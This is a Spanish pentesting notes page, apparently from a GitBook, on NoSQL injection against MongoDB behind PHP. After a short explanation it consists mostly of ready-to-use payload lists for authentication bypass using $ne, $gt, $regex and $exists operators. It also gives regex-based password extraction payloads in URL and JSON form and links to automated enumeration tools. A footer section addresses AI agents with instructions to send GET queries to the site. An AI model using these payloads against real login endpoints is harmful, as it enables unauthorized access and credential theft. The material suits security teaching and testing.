# NoSQL Injection

## ¿Qué es y cómo funciona?

NOSQL Injection es una inyección que se diferencia del SQL Injection convencional en sus vectores de ataque. Estos en vez de ser strings como en el caso de una inyección sql convencional, son en general objetos o arrays ya que los motores NOSQL trabajan, en su gran mayoría con estos.

Estas inyecciones en las cuales por detrás corre MongoDB en la que se basa en colecciones de documentos JSON, así que en vez de trabajar con SQL lo hace con JSON.

Como se vería en una solicitud SQL:

```
SELECT * FROM tUsers WHERE username = ‘username’ AND password = ‘password’
```

Como se ve en MongoDB:

```
$objeto -> find(array( 
 “username” => $_GET[‘username’], 
 “password” => $_GET[‘password’]
)); 
```

Aquí el problema es que PHP permite pasar objetos al driver de MongoDB sin hacer falta que sean strings. Entonces aquí es donde ocurre la vulnerabilidad NoSQL Injection, podemos pasar un objeto que fuerce una condición **true** y que provoque el volcado de la colección.

### Ejemplo

```
example.com/auth.php?username=j4ckie&password[$ne]=1
```

Que la consulta interna sería:

```
$objeto -> find(array( 
 “username” => «j4ckie»
 “password” => array(«$ne» => 1)
)); 
```

La consulta que acabamos de ver devuelve las credenciales de todos los usuarios con el nombre y usuario sean distintos de 1, condición que posiblemente cumpla cualquier contraseña. ($ne es no igual)

## Authentication bypass

**Utilizando \<not equal> `$ne` o \<mayor que> `$gt`**

### In URL

```
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
```

### Con JSON

Recuerda que para hacer la inyección con JSON se tiene que cambiar el tipo de Content-Type de **application/x-www-form-urlencoded** a **application/json** en la petición de BurpSuite o la herramienta que utilices para interceptar la petición.

```
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```

## Extraer información

### In URL

```
username[$ne]=j4ckie&password[$regex]=a.{2}
username[$ne]=j4ckie&password[$regex]=b.{2}
----------------------------------------------------
username[$ne]=j4ckie&password[$regex]=m.{2}
username[$ne]=j4ckie&password[$regex]=md.{1}
username[$ne]=j4ckie&password[$regex]=mdp
----------------------------------------------------
username[$ne]=j4ckie&password[$regex]=m.*
username[$ne]=j4ckie&password[$regex]=md.*
```

### Con JSON

Recuerda que para hacer la inyección con JSON se tiene que cambiar el tipo de Content-Type de **application/x-www-form-urlencoded** a **application/json** en la petición de BurpSuite o la herramienta que utilices para interceptar la petición.

```
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```

## Herramientas automatizadas

{% embed url="<https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration>" %}
Username and password enumeration
{% endembed %}

{% embed url="<https://github.com/C4l1b4n/NoSQL-Attack-Suite>" %}

## Referencias

* <https://book.hacktricks.xyz/pentesting-web/nosql-injection#php-arbitrary-function-execution>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/nosql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
